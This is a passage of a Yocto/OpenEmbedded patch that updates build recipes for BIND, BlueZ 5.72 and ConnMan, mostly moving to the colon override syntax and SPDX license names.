-FILES_python3-bind = "${sbindir}/dnssec-coverage ${sbindir}/dnssec-checkds \
- ${sbindir}/dnssec-keymgr ${PYTHON_SITEPACKAGES_DIR}"
-
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_python3-bind = "python3-core python3-ply"
diff --git a/meta/recipes-connectivity/bind/bind_9.18.25.bb b/meta/recipes-connectivity/bind/bind_9.18.25.bb
new file mode 100644
index 0000000000..cc35604aba
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind_9.18.25.bb
@@ -0,0 +1,113 @@
+SUMMARY = "ISC Internet Domain Name Server"
+HOMEPAGE = "https://www.isc.org/bind/"
+DESCRIPTION = "BIND 9 provides a full-featured Domain Name Server system"
+SECTION = "console/network"
+
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=c7a0b6d9a1b692a5da9af9d503671f43"
+
+DEPENDS = "openssl libcap zlib libuv"
+
+SRC_URI = "https://ftp.isc.org/isc/bind9/${PV}/${BPN}-${PV}.tar.xz \
+ file://conf.patch \
+ file://named.service \
+ file://bind9 \
+ file://generate-rndc-key.sh \
+ file://make-etc-initd-bind-stop-work.patch \
+ file://init.d-add-support-for-read-only-rootfs.patch \
+ file://bind-ensure-searching-for-json-headers-searches-sysr.patch \
+ file://0001-named-lwresd-V-and-start-log-hide-build-options.patch \
+ file://0001-avoid-start-failure-with-bind-user.patch \
+ "
+
+SRC_URI[sha256sum] = "5a4a70432a33d009f0e6e9dbb328aae7a5e27507e98e28bf3c0c6b250ccb2ab3"
+
+UPSTREAM_CHECK_URI = "https://ftp.isc.org/isc/bind9/"
+# follow the ESV versions divisible by 2
+UPSTREAM_CHECK_REGEX = "(?P<pver>9.(\d*[02468])+(\.\d+)+(-P\d+)*)/"
+
+# Issue only affects dhcpd with recent bind versions. We don't ship dhcpd anymore
+# so the issue doesn't affect us.
+CVE_STATUS[CVE-2019-6470] = "not-applicable-config: Issue only affects dhcpd with recent bind versions and we don't ship dhcpd anymore."
+
+inherit autotools update-rc.d systemd useradd pkgconfig multilib_header update-alternatives
+
+# PACKAGECONFIGs readline and libedit should NOT be set at same time
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[httpstats] = "--with-libxml2=${STAGING_DIR_HOST}${prefix},--without-libxml2,libxml2"
+PACKAGECONFIG[readline] = "--with-readline=readline,,readline"
+PACKAGECONFIG[libedit] = "--with-readline=libedit,,libedit"
+PACKAGECONFIG[dns-over-http] = "--enable-doh,--disable-doh,nghttp2"
+
+EXTRA_OECONF = " --disable-auto-validation \
+ --with-gssapi=no --with-lmdb=no --with-zlib \
+ --sysconfdir=${sysconfdir}/bind \
+ --with-openssl=${STAGING_DIR_HOST}${prefix} \
+ "
+LDFLAGS:append = " -lz"
+
+# dhcp needs .la so keep them
+REMOVE_LIBTOOL_LA = "0"
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --home ${localstatedir}/cache/bind --no-create-home \
+ --user-group bind"
+
+INITSCRIPT_NAME = "bind"
+INITSCRIPT_PARAMS = "defaults"
+
+SYSTEMD_SERVICE:${PN} = "named.service"
+
+do_install:append() {
+
+ install -d -o bind "${D}${localstatedir}/cache/bind"
+ install -d "${D}${sysconfdir}/bind"
+ install -d "${D}${sysconfdir}/init.d"
+ install -m 644 ${S}/conf/* "${D}${sysconfdir}/bind/"
+ install -m 755 "${S}/init.d" "${D}${sysconfdir}/init.d/bind"
+
+ # Install systemd related files
+ install -d ${D}${sbindir}
+ install -m 755 ${WORKDIR}/generate-rndc-key.sh ${D}${sbindir}
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/named.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/named.service
+
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/bind9 ${D}${sysconfdir}/default
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ echo "d /run/named 0755 bind bind - -" > ${D}${sysconfdir}/tmpfiles.d/bind.conf
+ fi
+}
+
+CONFFILES:${PN} = " \
+ ${sysconfdir}/bind/named.conf \
+ ${sysconfdir}/bind/named.conf.local \
+ ${sysconfdir}/bind/named.conf.options \
+ ${sysconfdir}/bind/db.0 \
+ ${sysconfdir}/bind/db.127 \
+ ${sysconfdir}/bind/db.empty \
+ ${sysconfdir}/bind/db.local \
+ ${sysconfdir}/bind/db.root \
+ "
+
+ALTERNATIVE:${PN}-utils = "nslookup"
+ALTERNATIVE_LINK_NAME[nslookup] = "${bindir}/nslookup"
+ALTERNATIVE_PRIORITY = "100"
+
+PACKAGE_BEFORE_PN += "${PN}-utils"
+FILES:${PN}-utils = "${bindir}/host ${bindir}/dig ${bindir}/mdig ${bindir}/nslookup ${bindir}/nsupdate"
+FILES:${PN}-dev += "${bindir}/isc-config.h"
+FILES:${PN} += "${sbindir}/generate-rndc-key.sh"
+
+PACKAGE_BEFORE_PN += "${PN}-libs"
+# special arrangement below due to
+# https://github.com/isc-projects/bind9/commit/0e25af628cd776f98c04fc4cc59048f5448f6c88
+FILES_SOLIBSDEV = "${libdir}/*[!0-9].so ${libdir}/libbind9.so"
+FILES:${PN}-libs = "${libdir}/named/*.so* ${libdir}/*-${PV}.so"
+
+DEV_PKG_DEPENDENCY = ""
diff --git a/meta/recipes-connectivity/bluez5/bluez5.inc b/meta/recipes-connectivity/bluez5/bluez5.inc
index eee7a53cd6..a31d7076ba 100644
--- a/meta/recipes-connectivity/bluez5/bluez5.inc
+++ b/meta/recipes-connectivity/bluez5/bluez5.inc
@@ -2,15 +2,16 @@ SUMMARY = "Linux Bluetooth Stack Userland V5"
DESCRIPTION = "Linux Bluetooth stack V5 userland components. These include a system configurations, daemons, tools and system libraries."
HOMEPAGE = "http://www.bluez.org"
SECTION = "libs"
-LICENSE = "GPLv2+ & LGPLv2.1+"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
- file://src/main.c;beginline=1;endline=24;md5=9bc54b93cd7e17bf03f52513f39f926e"
+ file://src/main.c;beginline=1;endline=24;md5=0ad83ca0dc37ab08af448777c581e7ac"
DEPENDS = "dbus glib-2.0"
+RDEPENDS:${PN} += "dbus"
PROVIDES += "bluez-hcidump"
-RPROVIDES_${PN} += "bluez-hcidump"
+RPROVIDES:${PN} += "bluez-hcidump"
-RCONFLICTS_${PN} = "bluez4"
+RCONFLICTS:${PN} = "bluez4"
PACKAGECONFIG ??= "obex-profiles \
readline \
@@ -42,9 +43,10 @@ PACKAGECONFIG[sixaxis] = "--enable-sixaxis,--disable-sixaxis"
PACKAGECONFIG[tools] = "--enable-tools,--disable-tools"
PACKAGECONFIG[threads] = "--enable-threads,--disable-threads"
PACKAGECONFIG[deprecated] = "--enable-deprecated,--disable-deprecated"
-PACKAGECONFIG[mesh] = "--enable-mesh,--disable-mesh, json-c ell"
-PACKAGECONFIG[btpclient] = "--enable-btpclient,--disable-btpclient, ell"
+PACKAGECONFIG[mesh] = "--enable-mesh --enable-external-ell,--disable-mesh, json-c ell"
+PACKAGECONFIG[btpclient] = "--enable-btpclient --enable-external-ell,--disable-btpclient, ell"
PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
+PACKAGECONFIG[manpages] = "--enable-manpages,--disable-manpages,python3-docutils-native"
SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/bluez-${PV}.tar.xz \
file://init \
@@ -52,6 +54,7 @@ SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/bluez-${PV}.tar.xz \
${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '', 'file://0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch', d)} \
file://0001-tests-add-a-target-for-building-tests-without-runnin.patch \
file://0001-test-gatt-Fix-hung-issue.patch \
+ file://0004-src-shared-util.c-include-linux-limits.h.patch \
"
S = "${WORKDIR}/bluez-${PV}"
@@ -63,9 +66,12 @@ EXTRA_OECONF = "\
--enable-test \
--enable-datafiles \
--enable-library \
+ --enable-pie \
--without-zsh-completion-dir \
"
+CFLAGS += "-DFIRMWARE_DIR=\\"${nonarch_base_libdir}/firmware\\""
+
# bluez5 builds a large number of useful utilities but does not
# install them. Specify which ones we want put into ${PN}-noinst-tools.
NOINST_TOOLS_READLINE ??= ""
@@ -77,18 +83,10 @@ NOINST_TOOLS = " \
${@bb.utils.contains('PACKAGECONFIG', 'tools', '${NOINST_TOOLS_BT}', '', d)} \
"
-do_install_append() {
+do_install:append() {
install -d ${D}${INIT_D_DIR}
install -m 0755 ${WORKDIR}/init ${D}${INIT_D_DIR}/bluetooth
- install -d ${D}${sysconfdir}/bluetooth/
- if [ -f ${S}/profiles/network/network.conf ]; then
- install -m 0644 ${S}/profiles/network/network.conf ${D}/${sysconfdir}/bluetooth/
- fi
- if [ -f ${S}/profiles/input/input.conf ]; then
- install -m 0644 ${S}/profiles/input/input.conf ${D}/${sysconfdir}/bluetooth/
- fi
-
if [ -f ${D}/${sysconfdir}/init.d/bluetooth ]; then
sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}/${sysconfdir}/init.d/bluetooth
fi
@@ -105,25 +103,25 @@ do_install_append() {
PACKAGES =+ "${PN}-testtools ${PN}-obex ${PN}-noinst-tools"
-FILES_${PN} += " \
+FILES:${PN} += " \
${libdir}/bluetooth/plugins/*.so \
${systemd_unitdir}/ ${datadir}/dbus-1 \
${libdir}/cups \
"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${libdir}/bluetooth/plugins/*.la \
"
-FILES_${PN}-obex = "${libexecdir}/bluetooth/obexd \
+FILES:${PN}-obex = "${libexecdir}/bluetooth/obexd \
${exec_prefix}/lib/systemd/user/obex.service \
${systemd_system_unitdir}/obex.service \
${sysconfdir}/systemd/system/multi-user.target.wants/obex.service \
${datadir}/dbus-1/services/org.bluez.obex.service \
${sysconfdir}/dbus-1/system.d/obexd.conf \
"
-SYSTEMD_SERVICE_${PN}-obex = "obex.service"
+SYSTEMD_SERVICE:${PN}-obex = "obex.service"
-FILES_${PN}-testtools = "${libdir}/bluez/test/*"
+FILES:${PN}-testtools = "${libdir}/bluez/test/*"
def get_noinst_tools_paths (d, bb, tools):
s = list()
@@ -133,14 +131,14 @@ def get_noinst_tools_paths (d, bb, tools):
s.append("%s/%s" % (bindir, f))
return "\n".join(s)
-FILES_${PN}-noinst-tools = "${@get_noinst_tools_paths(d, bb, d.getVar('NOINST_TOOLS'))}"
+FILES:${PN}-noinst-tools = "${@get_noinst_tools_paths(d, bb, d.getVar('NOINST_TOOLS'))}"
-RDEPENDS_${PN}-testtools += "python3-core python3-dbus"
-RDEPENDS_${PN}-testtools += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)}"
+RDEPENDS:${PN}-testtools += "python3-core python3-dbus"
+RDEPENDS:${PN}-testtools += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)}"
-SYSTEMD_SERVICE_${PN} = "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'bluetooth.service', '', d)}"
+SYSTEMD_SERVICE:${PN} = "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'bluetooth.service', '', d)}"
INITSCRIPT_PACKAGES = "${PN}"
-INITSCRIPT_NAME_${PN} = "bluetooth"
+INITSCRIPT_NAME:${PN} = "bluetooth"
do_compile_ptest() {
oe_runmake buildtests
@@ -151,4 +149,4 @@ do_install_ptest() {
rm -f ${D}${PTEST_PATH}/unit/*.o
}
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-utf-16"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-utf-16"
diff --git a/meta/recipes-connectivity/bluez5/bluez5/0001-test-gatt-Fix-hung-issue.patch b/meta/recipes-connectivity/bluez5/bluez5/0001-test-gatt-Fix-hung-issue.patch
index e90b6a546f..b1e93dbe19 100644
--- a/meta/recipes-connectivity/bluez5/bluez5/0001-test-gatt-Fix-hung-issue.patch
+++ b/meta/recipes-connectivity/bluez5/bluez5/0001-test-gatt-Fix-hung-issue.patch
@@ -1,4 +1,4 @@
-From 61e741654cc2eb167bca212a3bb2ba8f3ba280c1 Mon Sep 17 00:00:00 2001
+From fb583a57f9f4ab956a09e9bb96d89aa13553bf21 Mon Sep 17 00:00:00 2001
From: Mingli Yu <Mingli.Yu@windriver.com>
Date: Fri, 24 Aug 2018 12:04:03 +0800
Subject: [PATCH] test-gatt: Fix hung issue
@@ -21,15 +21,16 @@ no action.
Upstream-Status: Submitted [https://marc.info/?l=linux-bluetooth&m=153508881804635&w=2]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
+
---
unit/test-gatt.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/unit/test-gatt.c b/unit/test-gatt.c
-index c7e28f8..b57373b 100644
+index 5e06d4e..4864d36 100644
--- a/unit/test-gatt.c
+++ b/unit/test-gatt.c
-@@ -4463,7 +4463,7 @@ int main(int argc, char *argv[])
+@@ -4546,7 +4546,7 @@ int main(int argc, char *argv[])
test_server, service_db_1, NULL,
raw_pdu(0x03, 0x00, 0x02),
raw_pdu(0xbf, 0x00),
@@ -38,6 +39,3 @@ index c7e28f8..b57373b 100644
define_test_server("/robustness/unkown-command",
test_server, service_db_1, NULL,
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/bluez5/bluez5/0001-tests-add-a-target-for-building-tests-without-runnin.patch b/meta/recipes-connectivity/bluez5/bluez5/0001-tests-add-a-target-for-building-tests-without-runnin.patch
index 24ddae6b63..881494a354 100644
--- a/meta/recipes-connectivity/bluez5/bluez5/0001-tests-add-a-target-for-building-tests-without-runnin.patch
+++ b/meta/recipes-connectivity/bluez5/bluez5/0001-tests-add-a-target-for-building-tests-without-runnin.patch
@@ -1,19 +1,20 @@
-From 4bdf0f96dcaa945fd29f26d56e5b36d8c23e4c8b Mon Sep 17 00:00:00 2001
+From 738e73b386352fd90f1f26cc1ee75427cf4dc23b Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 1 Apr 2016 17:07:34 +0300
Subject: [PATCH] tests: add a target for building tests without running them
Upstream-Status: Inappropriate [oe specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile.am | 3 +++
1 file changed, 3 insertions(+)
diff --git a/Makefile.am b/Makefile.am
-index 1a48a71..ba3b92f 100644
+index e738eb3..dab17dd 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -425,6 +425,9 @@ endif
+@@ -710,6 +710,9 @@ endif
TESTS = $(unit_tests)
AM_TESTS_ENVIRONMENT = MALLOC_CHECK_=3 MALLOC_PERTURB_=69
@@ -23,6 +24,3 @@ index 1a48a71..ba3b92f 100644
if DBUS_RUN_SESSION
AM_TESTS_ENVIRONMENT += dbus-run-session --
endif
---
-2.8.0.rc3
-
diff --git a/meta/recipes-connectivity/bluez5/bluez5/0004-src-shared-util.c-include-linux-limits.h.patch b/meta/recipes-connectivity/bluez5/bluez5/0004-src-shared-util.c-include-linux-limits.h.patch
new file mode 100644
index 0000000000..516d859069
--- /dev/null
+++ b/meta/recipes-connectivity/bluez5/bluez5/0004-src-shared-util.c-include-linux-limits.h.patch
@@ -0,0 +1,27 @@
+From b53df61b41088b68c127ac76cc71683ac3453b9d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 12 Dec 2022 13:10:19 +0100
+Subject: [PATCH] src/shared/util.c: include linux/limits.h
+
+MAX_INPUT is defined in that file. This matters on non-glibc
+systems such as those using musl.
+
+Upstream-Status: Submitted [to linux-bluetooth@vger.kernel.org,luiz.von.dentz@intel.com,frederic.danis@collabora.com]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ src/shared/util.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/shared/util.c b/src/shared/util.c
+index c0c2c4a..036dc0d 100644
+--- a/src/shared/util.c
++++ b/src/shared/util.c
+@@ -23,6 +23,7 @@
+ #include <unistd.h>
+ #include <dirent.h>
+ #include <limits.h>
++#include <linux/limits.h>
+ #include <string.h>
+
+ #ifdef HAVE_SYS_RANDOM_H
diff --git a/meta/recipes-connectivity/bluez5/bluez5_5.54.bb b/meta/recipes-connectivity/bluez5/bluez5_5.54.bb
deleted file mode 100644
index 260eee1402..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5_5.54.bb
+++ /dev/null
@@ -1,68 +0,0 @@
-require bluez5.inc
-
-SRC_URI[md5sum] = "e637feb2dbb7582bbbff1708367a847c"
-SRC_URI[sha256sum] = "68cdab9e63e8832b130d5979dc8c96fdb087b31278f342874d992af3e56656dc"
-
-# noinst programs in Makefile.tools that are conditional on READLINE
-# support
-NOINST_TOOLS_READLINE ?= " \
- ${@bb.utils.contains('PACKAGECONFIG', 'deprecated', 'attrib/gatttool', '', d)} \
- tools/obex-client-tool \
- tools/obex-server-tool \
- tools/bluetooth-player \
- tools/obexctl \
- tools/btmgmt \
-"
-
-# noinst programs in Makefile.tools that are conditional on TESTING
-# support
-NOINST_TOOLS_TESTING ?= " \
- emulator/btvirt \
- emulator/b1ee \
- emulator/hfp \
- peripheral/btsensor \
- tools/3dsp \
- tools/mgmt-tester \
- tools/gap-tester \
- tools/l2cap-tester \
- tools/sco-tester \
- tools/smp-tester \
- tools/hci-tester \
- tools/rfcomm-tester \
- tools/bnep-tester \
- tools/userchan-tester \
-"
-
-# noinst programs in Makefile.tools that are conditional on TOOLS
-# support
-NOINST_TOOLS_BT ?= " \
- tools/bdaddr \
- tools/avinfo \
- tools/avtest \
- tools/scotest \
- tools/amptest \
- tools/hwdb \
- tools/hcieventmask \
- tools/hcisecfilter \
- tools/btinfo \
- tools/btsnoop \
- tools/btproxy \
- tools/btiotest \
- tools/bneptest \
- tools/mcaptest \
- tools/cltest \
- tools/oobtest \
- tools/advtest \
- tools/seq2bseq \
- tools/nokfw \
- tools/create-image \
- tools/eddystone \
- tools/ibeacon \
- tools/btgatt-client \
- tools/btgatt-server \
- tools/test-runner \
- tools/check-selftest \
- tools/gatt-service \
- profiles/iap/iapd \
- ${@bb.utils.contains('PACKAGECONFIG', 'btpclient', 'tools/btpclient', '', d)} \
-"
diff --git a/meta/recipes-connectivity/bluez5/bluez5_5.72.bb b/meta/recipes-connectivity/bluez5/bluez5_5.72.bb
new file mode 100644
index 0000000000..9fda960ea7
--- /dev/null
+++ b/meta/recipes-connectivity/bluez5/bluez5_5.72.bb
@@ -0,0 +1,69 @@
+require bluez5.inc
+
+SRC_URI[sha256sum] = "499d7fa345a996c1bb650f5c6749e1d929111fa6ece0be0e98687fee6124536e"
+
+CVE_STATUS[CVE-2020-24490] = "cpe-incorrect: This issue has kernel fixes rather than bluez fixes"
+
+# noinst programs in Makefile.tools that are conditional on READLINE
+# support
+NOINST_TOOLS_READLINE ?= " \
+ ${@bb.utils.contains('PACKAGECONFIG', 'deprecated', 'attrib/gatttool', '', d)} \
+ tools/obex-client-tool \
+ tools/obex-server-tool \
+ tools/bluetooth-player \
+ tools/obexctl \
+ tools/btmgmt \
+"
+
+# noinst programs in Makefile.tools that are conditional on TESTING
+# support
+NOINST_TOOLS_TESTING ?= " \
+ emulator/btvirt \
+ emulator/b1ee \
+ emulator/hfp \
+ peripheral/btsensor \
+ tools/3dsp \
+ tools/mgmt-tester \
+ tools/gap-tester \
+ tools/l2cap-tester \
+ tools/sco-tester \
+ tools/smp-tester \
+ tools/hci-tester \
+ tools/rfcomm-tester \
+ tools/bnep-tester \
+ tools/userchan-tester \
+"
+
+# noinst programs in Makefile.tools that are conditional on TOOLS
+# support
+NOINST_TOOLS_BT ?= " \
+ tools/bdaddr \
+ tools/avinfo \
+ tools/avtest \
+ tools/scotest \
+ tools/amptest \
+ tools/hwdb \
+ tools/hcieventmask \
+ tools/hcisecfilter \
+ tools/btinfo \
+ tools/btsnoop \
+ tools/btproxy \
+ tools/btiotest \
+ tools/bneptest \
+ tools/mcaptest \
+ tools/cltest \
+ tools/oobtest \
+ tools/advtest \
+ tools/seq2bseq \
+ tools/nokfw \
+ tools/create-image \
+ tools/eddystone \
+ tools/ibeacon \
+ tools/btgatt-client \
+ tools/btgatt-server \
+ tools/test-runner \
+ tools/check-selftest \
+ tools/gatt-service \
+ profiles/iap/iapd \
+ ${@bb.utils.contains('PACKAGECONFIG', 'btpclient', 'tools/btpclient', '', d)} \
+"
diff --git a/meta/recipes-connectivity/connman/connman-conf.bb b/meta/recipes-connectivity/connman/connman-conf.bb
index 9a519ec866..a1a0e08faa 100644
--- a/meta/recipes-connectivity/connman/connman-conf.bb
+++ b/meta/recipes-connectivity/connman/connman-conf.bb
@@ -1,36 +1,21 @@
-SUMMARY = "Connman config to setup wired interface on qemu machines"
-DESCRIPTION = "This is the ConnMan configuration to set up a Wired \
-network interface for a qemu machine."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+SUMMARY = "Connman config to ignore wired interface on qemu machines"
+DESCRIPTION = "This is the ConnMan configuration to avoid touching wired \
+network interface inside qemu machines."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
-inherit systemd
-SRC_URI_append_qemuall = " file://wired.config \
- file://wired-setup \
- file://wired-connection.service \
-"
-PR = "r2"
+SRC_URI = "file://main.conf \
+ "
S = "${WORKDIR}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-FILES_${PN} = "${localstatedir}/* ${datadir}/*"
+FILES:${PN} = "${sysconfdir}/*"
-do_install() {
- #Configure Wired network interface in case of qemu* machines
- if test -e ${WORKDIR}/wired.config &&
- test -e ${WORKDIR}/wired-setup &&
- test -e ${WORKDIR}/wired-connection.service; then
- install -d ${D}${localstatedir}/lib/connman
- install -m 0644 ${WORKDIR}/wired.config ${D}${localstatedir}/lib/connman
- install -d ${D}${datadir}/connman
- install -m 0755 ${WORKDIR}/wired-setup ${D}${datadir}/connman
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${WORKDIR}/wired-connection.service ${D}${systemd_system_unitdir}
- sed -i -e 's|@SCRIPTDIR@|${datadir}/connman|g' ${D}${systemd_system_unitdir}/wired-connection.service
- fi
+# Kernel IP-Config is perfectly capable of setting up networking passed in via ip=
+do_install:append:qemuall() {
+ mkdir -p ${D}${sysconfdir}/connman
+ cp ${S}/main.conf ${D}${sysconfdir}/connman/main.conf
}
-
-SYSTEMD_SERVICE_${PN}_qemuall = "wired-connection.service"
diff --git a/meta/recipes-connectivity/connman/connman-conf/main.conf b/meta/recipes-connectivity/connman/connman-conf/main.conf
new file mode 100644
index 0000000000..3c9dd396f6
--- /dev/null
+++ b/meta/recipes-connectivity/connman/connman-conf/main.conf
@@ -0,0 +1,2 @@
+[General]
+NetworkInterfaceBlacklist = eth,en
diff --git a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service b/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service
deleted file mode 100644
index 48adfc08ac..0000000000
--- a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service
+++ /dev/null
@@ -1,10 +0,0 @@
-[Unit]
-Description=Setup a wired interface
-Before=connman.service
-
-[Service]
-Type=oneshot
-ExecStart=@SCRIPTDIR@/wired-setup
-
-[Install]
-WantedBy=network.target
diff --git a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup b/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup
deleted file mode 100644
index c46899ef32..0000000000
--- a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/bin/sh
-
-CONFIGF=/var/lib/connman/wired.config
-
-# Extract wired network config from /proc/cmdline
-NET_CONF=`cat /proc/cmdline |sed -ne 's/^.*ip=\([^ ]*\):\([^ ]*\):\([^ ]*\):\([^ ]*\).*$/\1\/\4\/\3/p'`
-
-# Check if eth0 is already set via kernel cmdline
-if [ "x$NET_CONF" = "x" ]; then
- # Wired interface is not configured via kernel cmdline
- # Remove connman config file template
- rm -f ${CONFIGF}
-else
- # Setup a connman config accordingly
- sed -i -e "s|^IPv4 =.*|IPv4 = ${NET_CONF}|" ${CONFIGF}
-fi
diff --git a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config b/meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config
deleted file mode 100644
index 42998ce897..0000000000
--- a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config
+++ /dev/null
@@ -1,9 +0,0 @@
-[global]
-Name = Wired
-Description = Wired network configuration
-
-[service_ethernet]
-Type = ethernet
-IPv4 =
-MAC = 52:54:00:12:34:56
-Nameservers = 8.8.8.8
diff --git a/meta/recipes-connectivity/connman/connman-gnome_0.7.bb b/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
index 778bf50191..fcd154b4b0 100644
--- a/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
+++ b/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
@@ -1,7 +1,7 @@
SUMMARY = "GTK+ frontend for the ConnMan network connection manager"
HOMEPAGE = "http://connman.net/"
SECTION = "libs/network"
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
file://properties/main.c;beginline=1;endline=20;md5=50c77c81871308b033ab7a1504626afb \
file://common/connman-dbus.c;beginline=1;endline=20;md5=de6b485c0e717a0236402d220187717a"
@@ -10,10 +10,10 @@ DEPENDS = "gtk+3 dbus-glib dbus-glib-native intltool-native gettext-native"
# 0.7 tag
SRCREV = "cf3c325b23dae843c5499a113591cfbc98acb143"
-SRC_URI = "git://github.com/connectivity/connman-gnome.git \
+SRC_URI = "git://github.com/connectivity/connman-gnome.git;branch=master;protocol=https \
file://0001-Removed-icon-from-connman-gnome-about-applet.patch \
file://null_check_for_ipv4_config.patch \
- file://images/* \
+ file://images/ \
file://connman-gnome-fix-dbus-interface-name.patch \
file://0001-Port-to-Gtk3.patch \
"
@@ -23,8 +23,8 @@ S = "${WORKDIR}/git"
inherit autotools-brokensep gtk-icon-cache pkgconfig features_check
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-RDEPENDS_${PN} = "connman"
+RDEPENDS:${PN} = "connman"
-do_install_append() {
+do_install:append() {
install -m 0644 ${WORKDIR}/images/* ${D}/usr/share/icons/hicolor/22x22/apps/
}
diff --git a/meta/recipes-connectivity/connman/connman.inc b/meta/recipes-connectivity/connman/connman.inc
index 776bbfbff2..7487ca0d0c 100644
--- a/meta/recipes-connectivity/connman/connman.inc
+++ b/meta/recipes-connectivity/connman/connman.inc
@@ -9,12 +9,14 @@ configuration methods, like DHCP and domain name resolving, are \
implemented using plug-ins."
HOMEPAGE = "http://connman.net/"
BUGTRACKER = "https://01.org/jira/browse/CM"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
file://src/main.c;beginline=1;endline=20;md5=486a279a6ab0c8d152bcda3a5b5edc36"
inherit autotools pkgconfig systemd update-rc.d update-alternatives
+CVE_PRODUCT = "connman connection_manager"
+
DEPENDS = "dbus glib-2.0 ppp"
EXTRA_OECONF += "\
@@ -25,21 +27,29 @@ EXTRA_OECONF += "\
--enable-ethernet \
--enable-tools \
--disable-polkit \
+ --runstatedir=/run \
"
+# For smooth operation it would be best to start only one wireless daemon at a time.
+# If wpa-supplicant is running, connman will use it preferentially.
+# Select either wpa-supplicant or iwd
+WIRELESS_DAEMON ??= "wpa-supplicant"
PACKAGECONFIG ??= "wispr iptables client\
- ${@bb.utils.filter('DISTRO_FEATURES', '3g systemd wifi', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', '3g systemd', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'wifi ${WIRELESS_DAEMON}', '', d)} \
"
# If you want ConnMan to support VPN, add following statement into
# local.conf or distro config
-# PACKAGECONFIG_append_pn-connman = " openvpn vpnc l2tp pptp"
+# PACKAGECONFIG:append:pn-connman = " openvpn vpnc l2tp pptp"
-PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_unitdir}/system/ --with-tmpfilesdir=${sysconfdir}/tmpfiles.d/,--with-systemdunitdir='' --with-tmpfilesdir=''"
-PACKAGECONFIG[wifi] = "--enable-wifi, --disable-wifi, wpa-supplicant, wpa-supplicant"
+PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_system_unitdir}/ --with-tmpfilesdir=${sysconfdir}/tmpfiles.d/,--with-systemdunitdir='' --with-tmpfilesdir=''"
+PACKAGECONFIG[wifi] = "--enable-wifi, --disable-wifi"
PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5, bluez5"
PACKAGECONFIG[3g] = "--enable-ofono, --disable-ofono, ofono, ofono"
